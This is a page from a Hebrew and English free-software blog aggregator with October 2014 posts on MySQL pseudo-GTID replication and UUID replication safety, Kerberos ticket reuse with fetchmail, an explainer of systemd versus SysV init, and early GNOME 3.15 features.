פלאנט תוכנה חופשית בישראל (Planet FOSS-IL)

22 אוקטובר, 2014

Shlomi Noach

Pseudo GTID

Pseudo GTID is a method to implement a GTID-like solution where slaves are easily connected to one another. This blog post and the following ones will describe work in progress (some 80% completed), where simulation of GTID makes for a good enough basis for refactoring replication topologies. I'm coding this in orchestrator, which already provides a substantial infrastructure support for this.

The final goal: orchestrator will allow you to move a slave below another, using only the data available by those two slaves. The usage is obvious:

This can all happen with your normal, non GTID, MySQL replication, using your normal binary log files & positions.

This work in progress is inspired by Sam Lambert at GitHub, who has worked on a similar solution with different implementation. I also recall discussions with other DBAs having similar solution.

Pseudo GTID

First thing's first, the basis for proposed solution is a pseudo-GTID. A unique entry in the binary logs (not necessarily sequential; not necessarily in ascending order). While in GTID implementations we have a unique identifier for each entry in the binary log, with pseudo-GTID we accept an occasional (or frequent) unique entry in the binary log.

There are many ways to do so. Certainly a client can generate a unique Id and invoke some statement on MySQL involving that ID. That would serve as valid grounds for the proposed solution. But I like things to be contained within MySQL. Consider, for example, the following event, which would be my preferred choice in Statement Based Replication (for RBR solution, see next post):

drop table if exists test.pseudo_gtid;
create table if not exists test.pseudo_gtid (
  id int unsigned not null primary key,
  ts timestamp,
  gtid varchar(64) charset ascii
);


drop event if exists test.update_pseudo_gtid_event;

delimiter ;;
create event if not exists
  test.update_pseudo_gtid_event
  on schedule every 10 second starts current_timestamp
  on completion preserve
  enable
  do
    begin
      set @pseudo_gtid := uuid();
      insert into test.pseudo_gtid (id, ts, gtid) values (1, NOW(), @pseudo_gtid) on duplicate key update ts=NOW(), gtid=VALUES(gtid);
    end
;;

delimiter ;

The above is based on Making UUID() and RAND() replication safe. What do we get? Once in 10 seconds (or what have you), a unique entry is written to the binary log.

Consider that the event is already running by now, and the next conventional statements executed by the application:

master [localhost] {msandbox} (test) > create table test.vals(id int);
master [localhost] {msandbox} (test) > insert into test.vals (id) values (17);
master [localhost] {msandbox} (test) > insert into test.vals (id) values (18);
master [localhost] {msandbox} (test) > insert into test.vals (id) values (19);
master [localhost] {msandbox} (test) > insert into test.vals (id) values (23);

master [localhost] {msandbox} (test) > show master logs;
+------------------+-----------+
| Log_name         | File_size |
+------------------+-----------+
| mysql-bin.000036 |       531 |
| mysql-bin.000037 |      1269 |
| mysql-bin.000038 |      6627 |
| mysql-bin.000039 |      3313 |
+------------------+-----------+

Let's look at the binary logs content:

master [localhost] {msandbox} (test) > show binlog events in 'mysql-bin.000039';
+------------------+------+-------------+-----------+-------------+---------------------------------------------------------------------------------------------------------------------------------------------+
| Log_name         | Pos  | Event_type  | Server_id | End_log_pos | Info                                                                                                                                        |
+------------------+------+-------------+-----------+-------------+---------------------------------------------------------------------------------------------------------------------------------------------+
| mysql-bin.000039 |    4 | Format_desc |         1 |         107 | Server ver: 5.5.32-log, Binlog ver: 4                                                                                                       |
| mysql-bin.000039 |  107 | Query       |         1 |         183 | BEGIN                                                                                                                                       |
| mysql-bin.000039 |  183 | User var    |         1 |         263 | @`pseudo_gtid`=_utf8 0x37383435623633382D353631612D313165342D393135642D336339373065613331656138 COLLATE utf8_general_ci                     |
| mysql-bin.000039 |  263 | Query       |         1 |         461 | use `test`; insert into test.pseudo_gtid (id, ts, gtid) values (1, NOW(), @pseudo_gtid) on duplicate key update ts=NOW(), gtid=VALUES(gtid) |
| mysql-bin.000039 |  461 | Xid         |         1 |         488 | COMMIT /* xid=74 */                                                                                                                         |
| mysql-bin.000039 |  488 | Query       |         1 |         581 | use `test`; create table test.vals(id int)                                                                                                  |
| mysql-bin.000039 |  581 | Query       |         1 |         657 | BEGIN                                                                                                                                       |
| mysql-bin.000039 |  657 | User var    |         1 |         737 | @`pseudo_gtid`=_utf8 0x37653362616434382D353631612D313165342D393135642D336339373065613331656138 COLLATE utf8_general_ci                     |
| mysql-bin.000039 |  737 | Query       |         1 |         935 | use `test`; insert into test.pseudo_gtid (id, ts, gtid) values (1, NOW(), @pseudo_gtid) on duplicate key update ts=NOW(), gtid=VALUES(gtid) |
| mysql-bin.000039 |  935 | Xid         |         1 |         962 | COMMIT /* xid=82 */                                                                                                                         |
| mysql-bin.000039 |  962 | Query       |         1 |        1038 | BEGIN                                                                                                                                       |
| mysql-bin.000039 | 1038 | User var    |         1 |        1118 | @`pseudo_gtid`=_utf8 0x38343331396662332D353631612D313165342D393135642D336339373065613331656138 COLLATE utf8_general_ci                     |
| mysql-bin.000039 | 1118 | Query       |         1 |        1316 | use `test`; insert into test.pseudo_gtid (id, ts, gtid) values (1, NOW(), @pseudo_gtid) on duplicate key update ts=NOW(), gtid=VALUES(gtid) |
| mysql-bin.000039 | 1316 | Xid         |         1 |        1343 | COMMIT /* xid=84 */                                                                                                                         |
| mysql-bin.000039 | 1343 | Query       |         1 |        1411 | BEGIN                                                                                                                                       |
| mysql-bin.000039 | 1411 | Query       |         1 |        1512 | use `test`; insert into test.vals (id) values (17)                                                                                          |
| mysql-bin.000039 | 1512 | Xid         |         1 |        1539 | COMMIT /* xid=84 */                                                                                                                         |
| mysql-bin.000039 | 1539 | Query       |         1 |        1607 | BEGIN                                                                                                                                       |
| mysql-bin.000039 | 1607 | Query       |         1 |        1708 | use `test`; insert into test.vals (id) values (18)                                                                                          |
| mysql-bin.000039 | 1708 | Xid         |         1 |        1735 | COMMIT /* xid=85 */                                                                                                                         |
| mysql-bin.000039 | 1735 | Query       |         1 |        1803 | BEGIN                                                                                                                                       |
| mysql-bin.000039 | 1803 | Query       |         1 |        1904 | use `test`; insert into test.vals (id) values (19)                                                                                          |
| mysql-bin.000039 | 1904 | Xid         |         1 |        1931 | COMMIT /* xid=86 */                                                                                                                         |
| mysql-bin.000039 | 1931 | Query       |         1 |        2007 | BEGIN                                                                                                                                       |
| mysql-bin.000039 | 2007 | User var    |         1 |        2087 | @`pseudo_gtid`=_utf8 0x38613237376232352D353631612D313165342D393135642D336339373065613331656138 COLLATE utf8_general_ci                     |
| mysql-bin.000039 | 2087 | Query       |         1 |        2285 | use `test`; insert into test.pseudo_gtid (id, ts, gtid) values (1, NOW(), @pseudo_gtid) on duplicate key update ts=NOW(), gtid=VALUES(gtid) |
| mysql-bin.000039 | 2285 | Xid         |         1 |        2312 | COMMIT /* xid=89 */                                                                                                                         |
| mysql-bin.000039 | 2312 | Query       |         1 |        2380 | BEGIN                                                                                                                                       |
| mysql-bin.000039 | 2380 | Query       |         1 |        2481 | use `test`; insert into test.vals (id) values (23)                                                                                          |
| mysql-bin.000039 | 2481 | Xid         |         1 |        2508 | COMMIT /* xid=89 */                                                                                                                         |
| mysql-bin.000039 | 2508 | Query       |         1 |        2584 | BEGIN                                                                                                                                       |
| mysql-bin.000039 | 2584 | User var    |         1 |        2664 | @`pseudo_gtid`=_utf8 0x39303164373731612D353631612D313165342D393135642D336339373065613331656138 COLLATE utf8_general_ci                     |
| mysql-bin.000039 | 2664 | Query       |         1 |        2862 | use `test`; insert into test.pseudo_gtid (id, ts, gtid) values (1, NOW(), @pseudo_gtid) on duplicate key update ts=NOW(), gtid=VALUES(gtid) |
| mysql-bin.000039 | 2862 | Xid         |         1 |        2889 | COMMIT /* xid=92 */                                                                                                                         |
| mysql-bin.000039 | 2889 | Query       |         1 |        2965 | BEGIN                                                                                                                                       |
| mysql-bin.000039 | 2965 | User var    |         1 |        3045 | @`pseudo_gtid`=_utf8 0x39363133363965382D353631612D313165342D393135642D336339373065613331656138 COLLATE utf8_general_ci                     |
| mysql-bin.000039 | 3045 | Query       |         1 |        3243 | use `test`; insert into test.pseudo_gtid (id, ts, gtid) values (1, NOW(), @pseudo_gtid) on duplicate key update ts=NOW(), gtid=VALUES(gtid) |
| mysql-bin.000039 | 3243 | Xid         |         1 |        3270 | COMMIT /* xid=94 */                                                                                                                         |
| mysql-bin.000039 | 3270 | Rotate      |         1 |        3313 | mysql-bin.000040;pos=4                                                                                                                      |
+------------------+------+-------------+-----------+-------------+---------------------------------------------------------------------------------------------------------------------------------------------+

Marked in bold are the pseudo-GTID statements, aptly read "@`pseudo_gtid`=_utf8 0x...", and which are the resulting entry of the set @pseudo_gtid := uuid(); statement. These are interleaved with our normal statements. In busier servers there could be hundreds or thousands of statements between any two pseudo-GTID entries.

We have a replicating slave to the above, which uses log_slave_updates. For reasons to be explained later, I prefer and require log_slave_updates, and will examine the slave's binary logs (instead of directly looking at the slave's relay logs):

slave3 [localhost] {msandbox} ((none)) > show master logs;

+------------------+-----------+
| Log_name         | File_size |
+------------------+-----------+
| mysql-bin.000046 |      1077 |
| mysql-bin.000047 |       126 |
| mysql-bin.000048 |       150 |
| mysql-bin.000049 |       150 |
| mysql-bin.000050 |     13860 |
| mysql-bin.000051 |       107 |
+------------------+-----------+

slave3 [localhost] {msandbox} ((none)) > show binlog events in 'mysql-bin.000051';
+------------------+------+-------------+-----------+-------------+---------------------------------------------------------------------------------------------------------------------------------------------+
| Log_name         | Pos  | Event_type  | Server_id | End_log_pos | Info                                                                                                                                        |
+------------------+------+-------------+-----------+-------------+---------------------------------------------------------------------------------------------------------------------------------------------+
| mysql-bin.000051 |    4 | Format_desc |       103 |         107 | Server ver: 5.5.32-log, Binlog ver: 4                                                                                                       |
| mysql-bin.000051 |  107 | Query       |         1 |         174 | BEGIN                                                                                                                                       |
| mysql-bin.000051 |  174 | User var    |         1 |         254 | @`pseudo_gtid`=_utf8 0x37383435623633382D353631612D313165342D393135642D336339373065613331656138 COLLATE utf8_general_ci                     |
| mysql-bin.000051 |  254 | Query       |         1 |         452 | use `test`; insert into test.pseudo_gtid (id, ts, gtid) values (1, NOW(), @pseudo_gtid) on duplicate key update ts=NOW(), gtid=VALUES(gtid) |
| mysql-bin.000051 |  452 | Xid         |         1 |         479 | COMMIT /* xid=2141 */                                                                                                                       |
| mysql-bin.000051 |  479 | Query       |         1 |         572 | use `test`; create table test.vals(id int)                                                                                                  |
| mysql-bin.000051 |  572 | Query       |         1 |         639 | BEGIN                                                                                                                                       |
| mysql-bin.000051 |  639 | User var    |         1 |         719 | @`pseudo_gtid`=_utf8 0x37653362616434382D353631612D313165342D393135642D336339373065613331656138 COLLATE utf8_general_ci                     |
| mysql-bin.000051 |  719 | Query       |         1 |         917 | use `test`; insert into test.pseudo_gtid (id, ts, gtid) values (1, NOW(), @pseudo_gtid) on duplicate key update ts=NOW(), gtid=VALUES(gtid) |
| mysql-bin.000051 |  917 | Xid         |         1 |         944 | COMMIT /* xid=2150 */                                                                                                                       |
| mysql-bin.000051 |  944 | Query       |         1 |        1011 | BEGIN                                                                                                                                       |
| mysql-bin.000051 | 1011 | User var    |         1 |        1091 | @`pseudo_gtid`=_utf8 0x38343331396662332D353631612D313165342D393135642D336339373065613331656138 COLLATE utf8_general_ci                     |
| mysql-bin.000051 | 1091 | Query       |         1 |        1289 | use `test`; insert into test.pseudo_gtid (id, ts, gtid) values (1, NOW(), @pseudo_gtid) on duplicate key update ts=NOW(), gtid=VALUES(gtid) |
| mysql-bin.000051 | 1289 | Xid         |         1 |        1316 | COMMIT /* xid=2152 */                                                                                                                       |
| mysql-bin.000051 | 1316 | Query       |         1 |        1375 | BEGIN                                                                                                                                       |
| mysql-bin.000051 | 1375 | Query       |         1 |        1476 | use `test`; insert into test.vals (id) values (17)                                                                                          |
| mysql-bin.000051 | 1476 | Xid         |         1 |        1503 | COMMIT /* xid=2154 */                                                                                                                       |
| mysql-bin.000051 | 1503 | Query       |         1 |        1562 | BEGIN                                                                                                                                       |
| mysql-bin.000051 | 1562 | Query       |         1 |        1663 | use `test`; insert into test.vals (id) values (18)                                                                                          |
| mysql-bin.000051 | 1663 | Xid         |         1 |        1690 | COMMIT /* xid=2156 */                                                                                                                       |
| mysql-bin.000051 | 1690 | Query       |         1 |        1749 | BEGIN                                                                                                                                       |
| mysql-bin.000051 | 1749 | Query       |         1 |        1850 | use `test`; insert into test.vals (id) values (19)                                                                                          |
| mysql-bin.000051 | 1850 | Xid         |         1 |        1877 | COMMIT /* xid=2158 */                                                                                                                       |
| mysql-bin.000051 | 1877 | Query       |         1 |        1944 | BEGIN                                                                                                                                       |
| mysql-bin.000051 | 1944 | User var    |         1 |        2024 | @`pseudo_gtid`=_utf8 0x38613237376232352D353631612D313165342D393135642D336339373065613331656138 COLLATE utf8_general_ci                     |
| mysql-bin.000051 | 2024 | Query       |         1 |        2222 | use `test`; insert into test.pseudo_gtid (id, ts, gtid) values (1, NOW(), @pseudo_gtid) on duplicate key update ts=NOW(), gtid=VALUES(gtid) |
| mysql-bin.000051 | 2222 | Xid         |         1 |        2249 | COMMIT /* xid=2160 */                                                                                                                       |
| mysql-bin.000051 | 2249 | Query       |         1 |        2308 | BEGIN                                                                                                                                       |
| mysql-bin.000051 | 2308 | Query       |         1 |        2409 | use `test`; insert into test.vals (id) values (23)                                                                                          |
| mysql-bin.000051 | 2409 | Xid         |         1 |        2436 | COMMIT /* xid=2162 */                                                                                                                       |
| mysql-bin.000051 | 2436 | Query       |         1 |        2503 | BEGIN                                                                                                                                       |
| mysql-bin.000051 | 2503 | User var    |         1 |        2583 | @`pseudo_gtid`=_utf8 0x39303164373731612D353631612D313165342D393135642D336339373065613331656138 COLLATE utf8_general_ci                     |
| mysql-bin.000051 | 2583 | Query       |         1 |        2781 | use `test`; insert into test.pseudo_gtid (id, ts, gtid) values (1, NOW(), @pseudo_gtid) on duplicate key update ts=NOW(), gtid=VALUES(gtid) |
| mysql-bin.000051 | 2781 | Xid         |         1 |        2808 | COMMIT /* xid=2164 */                                                                                                                       |
| mysql-bin.000051 | 2808 | Rotate      |       103 |        2851 | mysql-bin.000052;pos=4                                                                                                                      |
+------------------+------+-------------+-----------+-------------+---------------------------------------------------------------------------------------------------------------------------------------------+

We can see the "@`pseudo_gtid`=_utf8 0x" entries are replicated well, and are identical throughout the topology (this continue to work well on second-level slaves etc.).

To be continued.

 

22 אוקטובר, 2014 05:28 AM

20 אוקטובר, 2014

Shlomi Noach

Making UUID() and RAND() replication safe

MySQL's UUID() and RAND() functions both provide with (pseudo) indeterministic result. UUID()'s result is moreover bound to the host on which it executes. For this reason, both are unsafe to replicate with STATEMENT binlog format. As an example, consider:

master> create table test.uuid_test (id int, u varchar(64));

master> insert into test.uuid_test values (1, UUID());
Query OK, 1 row affected, 1 warning (0.03 sec)

master> select * from test.uuid_test;
+------+--------------------------------------+
| id   | u                                    |
+------+--------------------------------------+
|    1 | 7e3596d8-56ac-11e4-b284-3c970ea31ea8 |
+------+--------------------------------------+

The warning we got on the insert directly relates to the following inconsistency on a slave:

slave1> select * from test.uuid_test;
+------+--------------------------------------+
| id   | u                                    |
+------+--------------------------------------+
|    1 | 7e379d63-56ac-11e4-8477-3c970ea31ea8 |
+------+--------------------------------------+

The data on the slave is clearly inconsistent with the master's. The slave, replicating via STATEMENT binlog format, re-executes the INSERT command and gets a different UUID value.

External

One solution to the above is to generate the UUID value from your application. By the time MySQL gets the INSERT statement, the UUID value is a constant string, as far as MySQL is concerned.

Internal

However there's a way to do it from within MySQL, by decoupling the UUID() function from the INSERT statement. It takes a session variable. Consider:

master> set @safe_uuid := UUID();
Query OK, 0 rows affected (0.00 sec)

master> insert into test.uuid_test values (2, @safe_uuid);
Query OK, 1 row affected (0.02 sec)

master> select * from test.uuid_test;
+------+--------------------------------------+
| id   | u                                    |
+------+--------------------------------------+
|    1 | 7e3596d8-56ac-11e4-b284-3c970ea31ea8 |
|    2 | 29c51fb9-56ad-11e4-b284-3c970ea31ea8 |
+------+--------------------------------------+

And on a slave:

slave1> select * from test.uuid_test;
+------+--------------------------------------+
| id   | u                                    |
+------+--------------------------------------+
|    1 | 7e379d63-56ac-11e4-8477-3c970ea31ea8 |
|    2 | 29c51fb9-56ad-11e4-b284-3c970ea31ea8 |
+------+--------------------------------------+

The reason why this succeeds is that MySQL stores session variable values that are being used by DML queries in the binary log. It just so happened that @safe_uuid was assigned the UUID() value, but it could just as well have been assigned a constant or other computation. MySQL stored the resulting value into the binary log, where it is forces upon the slave to use. Check out this binary log snippet:

# at 14251
#141018 12:57:35 server id 1  end_log_pos 14319         Query   thread_id=2     exec_time=0     error_code=0
SET TIMESTAMP=1413626255/*!*/;
SET @@session.sql_auto_is_null=0/*!*/;
BEGIN
/*!*/;
# at 14319
#141018 12:57:35 server id 1  end_log_pos 14397         User_var
SET @`safe_uuid`:=_utf8 0x32396335316662392D353661642D313165342D623238342D336339373065613331656138 COLLATE `utf8_general_ci`/*!*/;
# at 14397
#141018 12:57:35 server id 1  end_log_pos 14509         Query   thread_id=2     exec_time=0     error_code=0
SET TIMESTAMP=1413626255/*!*/;
insert into test.uuid_test values (2, @safe_uuid)
/*!*/;
# at 14509
#141018 12:57:35 server id 1  end_log_pos 14536         Xid = 145
COMMIT/*!*/;

The same can be applied for RAND(). Funny thing about RAND() is that it is already taken care of by the binary log via SET @@RAND_SEED1, SET @@RAND_SEED2 statements (i.e. it works), though the documentation clearly states it is unsafe.

With Row Based Replication (RBR) the problem never arises in the first place since the binlog contains the values of the new/updated rows.

20 אוקטובר, 2014 06:40 AM

19 אוקטובר, 2014

Boris Shtrasman

פיטצ'ר מגניב בfetchmail

היום גיליתי פיטצר מגניב בfetchmail- אם עושים אימות gssapi מול שרת exchange בתוך הרשת הארגונית,ניתן להשתמש באותה התעודה לגישה לשרת הexchange גם בכתובות אחרות (גם כאשר אין גישה לשרת המזהה).


לשם ההדגמה.

שרת הדוא"ל:mailserver.myrtfm.blogspot.com
כתובת פנימית:192.168.1.7
כתובת חיצונית:173.194.112.108
שם משתמש להזדהות: username

מתחברים לרשת האירגונית ומתחילים:
חיבור והזדהות ברשת הפנימית :
kinit username@MYRTFM.BLOGSPOT.COM


בדיקת הכתובת  של שרת הדוא"ל :
ping ping mailserver.myrtfm.blogspot.com
mailserver.myrtfm.blogspot.com  (192.168.1.7) 56(84) bytes of data.
64 bytes from mailserver.myrtfm.blogspot.com  (192.168.1.7): icmp_seq=1 ttl=50 time=87.8 ms

הפעלה של fetchmail -v בשביל לגרום להזדהות gssapi ע"י fetchmail.

בדיקת קיום התעודה החדשה:
klist
Ticket cache: FILE:/tmp/krb5cc_1000
Default principal: username@MYRTFM.BLOGSPOT.COM

Valid starting Expires Service principal
10/19/2014 10:44:31 10/19/2014 20:44:31 krbtgt/MYRTFM.BLOGSPOT.COM@MYRTFM.BLOGSPOT.COM
renew until 10/20/2014 10:44:29
10/19/2014 10:48:04 10/19/2014 20:44:31 imap/mailserver.myrtfm.blogspot.com@MYRTFM.BLOGSPOT.COM
renew until 10/20/2014 10:44:29
הפלת fetchmail.

יצאה מהרשת הפנימית.

בדיקת הכתובת החדשה של שרת הדואל
ping mailserver.myrtfm.blogspot.com 
PING mailserver.myrtfm.blogspot.com (173.194.112.108) 56(84) bytes of data.
64 bytes from mailserver.myrtfm.blogspot.com (173.194.112.108): icmp_seq=1 ttl=50 time=87.8 ms

הפעלה מחדש של fetchmail.

19 אוקטובר, 2014 12:10 PM

ik

systemd

זהירות פוסט ארוך מאוד

אם אינכם מכירים או עוקבים אחר עולם הלינוקס, הוא עובר מספר מהפכות ממש קשות בשנים האחרונות, לדעתי האישית – זה רק לטובה.

אחת המהפכות, הוא יצירת פרוטוקול גרפי חדש וחדיש יותר, שיחליף את X11 הוותיק. עליו משום מה אין הרבה תלונות (יחסית) וקיבל את השם wayland.

מהפכה נוספת, היא החלפת הגישה של sysv כמעט לגמרי, עם מנהלי init שונים, כאשר זה שלוקח את הכי הרבה אש, וגם בשימוש הרב ביותר הוא systemd. זה השם שלו, כפי שהוא כתוב. והd בסוף מצייג כמובן את המילה daemon, כי הוא יושב ב pid 1, ומנהל את העליה של כל השאר, אחרי שמנהל האתחול (כדוגמת grub) מריץ אותו.

פוסט זה אינו מנסה לקחת צד במלחמת הדתות הזו, הוא גם לא מושלם, ומחסיר המון מידע, אבל הוא מגיע בשביל להסביר את systemd ואתם מוזמנים להחזיק בדעה שלכם בנושא, תהיה אשר תהיה

הגישה של systemd היא ממוקדת לינוקס, ואינה תואמת את ה API של יוניקס, וככזו, היא מאפשרת לבצע פעולות טובות יותר בלינוקס, בלי להתפשר על דברים שיהיו כלליים יותר בשל הצורך לתמוך בעוד מערכות הפעלה שונות.

בניגוד ל init הישן, ולדעתי הלא טוב, systemd מביא איתו גישה חדשה, אך בראש ובראשונה הוא פותר בעיות שפעם לא נחשבו לכאלו, וחלקם גם לא התקיימו, אבל כיום הן כן – תאימות בכתיבת services בראש ובראשונה.

עם init, כל הפצה או משפחה של הפצות, היו מחזיקות כלי עזר משלה בנושא, כולל פונקציות bash למשל, וחלק עם csh. והנה בעיה ראשונה, מה קורה אם אני רוצה שיהיה לי למשל zsh או psh וכיוב', אבל אני לא רוצה להתקין bash או sh ?

אבל יותר מזה, כתיבת Daemon בכל הפצה, דרשה כתיבה שונה של בדיוק אותו הדבר, וככה יוצרי תוכנה היו נמנעים מכך לחלוטין, או היו מספקים גרסאות לDebian וגרסאות ל Redhat עבור init (למשל), אבל הפצות שעובדות שונה, ובכן הן היו צריכות לכתוב משהו משל עצמם, או לספק תאימות לאחת מההפצות הגדולות יותר.

עוד לפני הסבר כיצד init עבד, אפשר לראות כאן בעיה מאוד קשה.
systemd למעשה פותר את הבעיות האלו, וגם מספק תאימות לאחור במידה ולא המרתם דברים, אבל לא אכנס כאן כיצד, אולי אצור פוסטים נפרדים בנושא.

עכשיו init עובד בתפיסה של runlevel. זה אומר שיש מספר בין 0 ל 6, כאשר כל מספר בטווח אומר כיצד הריצה תהיה בעצם. כאשר 6 זה לאתחל את המחשב, ו0 הוא halt, והשאר אומרים כיצד לרוץ לתוך המערכת, למשל 1 אומר שזה משתמש single user אשר נועד לבצע פעולות תחזוקה כאשר יש בעיה במערכת עצמה.

בברירת המחדל, היו ספריות (מערכת בשם rc) עם מספר ה runlevel הרצוי, ובתוכם סקריפטים אשר היו מתחילים באות S או באות K (אותיות גדולות) ואחריהם מספר בין 00 ל 99. המספר ייצג את החשיבות עליה, כלומר מתי בזמן עליה להריץ אותם ביחד למספרים אחרים, כאשר מספר נמוך יותר מתבצע לפני מספר גבוה יותר. ה S אומר לבצע את הסקריפט בזמן עליה, והK בזמן סגירה מסודרת של המערכת. הפירוש של S זה start והפירוש של K זה kill.

המערכת משתמשת בinittab בשביל לקבל החלטות שונות, כולל איזה טרמינל לאפשר, מה רץ בכל טרמינל כזה וכיוב'. ב systemd, אין צורך בקובץ הזה, הוא יודע לנהל דברים בצורה לגמרי שונה.

יש המון בעיות בגישה של init – מה קורה כש iptables למשל חייב לעלות רק כאשר הרשת עלתה, ומיד, לפני כל דבר אחר, אבל הרשת לא עלתה, ולמעשה זה אומר ש iptables לא יכול לעלות, כי אין למשל devices בשביל לעבור עליו עם החוקים ?
יותר מזה, נגיד ויש לי 2 סוגי תסריטי firewall אבל הם מתנגשים בהם, למשל csf מול Fail2Ban איך אני בכלל מסביר את זה למערכת ?

המערכת של init לא ידעה לספק לכך מענה. למעשה אם היו בעיות ברשת, לפעמים התסריט לעליית הרשת היה נתקע למשך זמן של כמה דקות, ואז רק ב timeout אם בכלל היה כזה, המערכת היתה ממשיכה לעלות, אבל מיד לאחר מכן הסקריפט של iptables היה מנסה לעלות, ונכשל, אבל ממשיכים הלאה.
אם שכחו לבטל מערכת אחת, והיו מריצים גם את השניה, אז מערכות של תסריטים ל iptables היו מתנגשות אחת בשניה, וinit לא היה מודע לזה, ולך תבין עכשיו מה מכניס חוקים או מבטל אותם ב iptables.

ב systemd, יצרו מערכת קדימויות חדשה, בה אני יכול לציין סוג של hooks, שאומר שאני רוצה לעלות רק כאשר הרשת עלתה. ובמקום ליצור priority בשם, אני יוצר הסבר ל systemd כיצד להתנהג איתי.
אני אפילו יכול להגיד שאני מתנגש עם מערכות אחרות שמספקות אותו הדבר, וכיוב'.

יותר מזה, כאלו ללא חוקים מיוחדים, יכולים לעלות בסדר לא מוגדר, ואפילו לטעון את כולם ב"מכה", אולי חלקם בכלל ברקע, אבל אלו עם חוקים, יוצרים שרשרת מסוימת, עם התחלה וסוף ברורים מאוד, התנהגות של מה קורה במצבי עליה והסרה, מה בא קודם, כיצד להתנהג כאשר מה שקורה קודם לא התרחש כי נכשל וכיוב' …

עכשיו יותר מזה, כאשר דימון נכשל לעלות, בinit, הייתי צריך להתחיל לחפש בלוגים שונים מה קרה, למשל אם אפצ'י לא הצליח לעלות, אני אחפש בלוגים של אפצ'י, אבל מה קורה כאשר אין לי לוג כזה, למשל הבעיה היא שאין לאפצ'י הרשאות לרשום את הלוג ?

בsystemd, יש מנהל לוגים לdaemon, אשר מסביר מה עלה, מתי עלה, או לא עלה, עם הודעות השגיאה המדויקות שאותו daemon מספק, וזה נעשה במקום אחד מסודר. כלומר גם אם הdaemon לא יצר קובץ לוג, עדיין יש לי מידע כלשהו בנושא, ועוד במקום אחד ומסודר.

אבל זה לא הכל, אם אני רוצה למשל לסנן את הלוג רק לעליה האחרונה, ורק עבור NetworkManager, יש מערכת שקיבלה את השם journalctl שמנהלת את הלוגים, ודרכה אפשר להגיד על מה אני מדבר, כולל סינון רק של NetworkManager מהבוט של היום.

למשל הפקודה הבאה:

$ journalctl -u NetworkManager -f -b 1b51005fb9814285b9ee872da51682f3

אומרת קודם כל להציג רק מידע של NetworkManager, גם אם נגיד מדובר ב dhclient שרץ דרכו, אקבל אותו ללוג, בנוסף אני אומר לו להתנהג כמו tail -f, כלומר להמשיך להדפיס מידע ולא לצאת, בנוסף, תציג רק מ boot עם המספר שלו. כאשר ניתן לקבל את המידע על המזהה של ה boot גם כן.

כבר לא צריך להתחיל לחפש אם זה בלוג בשם messages או אולי boot או אולי system או כל דבר אחר, אני מקבל ניהול מסודר לזה.

עוד בעיה קשה בלינוקס היא כרטיסי רשת שונים. קרה לי במספר שרתים, בהם כרטיס הרשת הוחלף, או נכנס כרטיס חדש, ופתאום מה שהיה מקודם eth0 הפך להיות eth3. עכשיו לך תשנה את כל הסקריפטים של route וכיוב' בנושא.
יותר מזה, יש לך תחביר שונה בין Debian לבין RedHat לניהול הזה של הרשתות וכרטיסי הרשת.

ב RedHat ניסו איכשהו להתמודד עם זה בגישה שבה אם אני שם את ה Mac אז הוא מנסה לשים את אותו שם של device, בפועל זה לא תמיד עובד, ועושה כאבי ראש.

systemd מספק מערכת אחת לניהול הרשת בברירת המחדל, במקום תחביר שונה בין כל הפצה.

לא הכל ורוד בזה, למשל כאשר הגיע systemd, והחליט לשנות את שמות ה devices. זה מאוד מעצבן בעיני, אבל השינוי הזה מאפשר לי לדעת שתמיד הכרטיס enp0s25 יהיה בשם הזה. והמקדם של השם, אומר מאיפה הוא מגיע, כלומר אם עכשיו אכניס עוד כרטיס רשת PCI, למרות שבאנמרציה שלו אולי היה מקבל את eth0 במקום הכרטיס הנוכחי, כאן הוא יקבל שם אחר.

הבעיה הזו, בנוסף לצורך בתקשורת עם תוכנות אחרות בצורה אחידה, זקוקה לIPC, כלומר תקשורת בין תוכנות שונות לבין systemd. כאשר systemd החליט במקום לממש מחדש משהו משל עצמו, או אולי להסתמך על סיגנלים, להשתמש במערכת קיימת שנמצאת הרבה זמן בשימוש בשם d-bus.

בזכות השימוש ב d-bus, עכשיו ניתן למשל ליצור מערכת login אשר לא תדבר בשפת systemd, אלא בשפת d-bus. מה שאומר שעכשיו המערכות יכולות להיות גנריות יותר, אבל מצד שני, לעבוד בשפה משותפת.
כלומר עכשיו אני יכול לקחת את KDM או GDM ולהתאים אותם ל systemd בצורה אחידה, והם יכולים לנהל הכל באמצעות systemd ו d-bus.

וזה עוד משהו שsystemd מספק – מערכת ניהול למערכת כניסה למחשב, בנוסף, נגיד ואני רוצה לאתחל את המחשב, או לשים אותו במצב המתנה, או לבצע "שינה". אז במערכת init, הפעולות האלו דרשו המון הרשאות שונות והיו הרבה סוגי כלים שסיפקו את אותו הדבר. עם systemd, אני מקבל תמיכה מלאה בפעולות האלו באמצעותו, וכך אני למעשה ריכזתי את הפעולות למערכת בודדת.

סיכום:

המערכת מכילה עוד רכיבים, אבל זה הבסיס להבנת systemd, בלי ממש ללמד כיצד זה עובד.
היות והפוסט מאוד ארוך יחסית, אעצור כאן, אך אין זה אומר שזה כל מה שיש להגיד בנושא, או שלא נשאר מה להסביר בנושא.
גם בנושאים שנגעתי בהם, יש עוד הרבה מה לכתוב, אך כל דבר כזה, זקוק למספר פוסטים בפני עצמם.

אני מקווה שהפוסט עוזר לכם להבין טוב יותר את המערכת, גם אם אתם מחליטים שהיא לא בשבילכם.


תויק תחת:Operating Systems, חברה, טכנולוגיה, לינוקס, קוד פתוח, תוכנה

19 אוקטובר, 2014 11:05 AM

18 אוקטובר, 2014

Yosef Or Boczko

GNOME 3.15 – תחילת הפיתוח

ערב טוב.

עם הכניסה לשגרה שלאחר תקופת החגים, גם פיתוח הגרסה הבאה של GNOME עובר הילוך, עם שחרור גרסה 3.14.1, בדיוק על פי לוח הזמנים, לפני שלושה ימים.

אמנם טרם שוחררה הגרסה הלא יציבה הראשונה בסדרת ‎3.15.x, אך כבר הוכנסו מספר תכונות ל־Git, אותן אסקור בקצרה.

תמיכה ב־ב־OpenGl ב־GDK וב־GTK+‎

עבודה של Alexander Larsson, שמוזגה בשעה טובה לעץ הקוד של GTK+‎, הכוללת אף תמיכה ב־Wayland. מעט על כך ברשומה שכתב Emmanuele Bassi.

GdkGears

סימון יפה בסיום גלילה

מעין סימון המופיע בגלילה מטה או מעלה (כשאין עוד מה לגלול), וזה הזמן להודות ל־Lapo Calamandrei על העבודה הרבה שלו בשכתוב Adwaita, כאשר אנו נהנים מעבודתו בכל יישומי GTK+‎.

יישומון סרגל צדי הפועל עם GtkStack

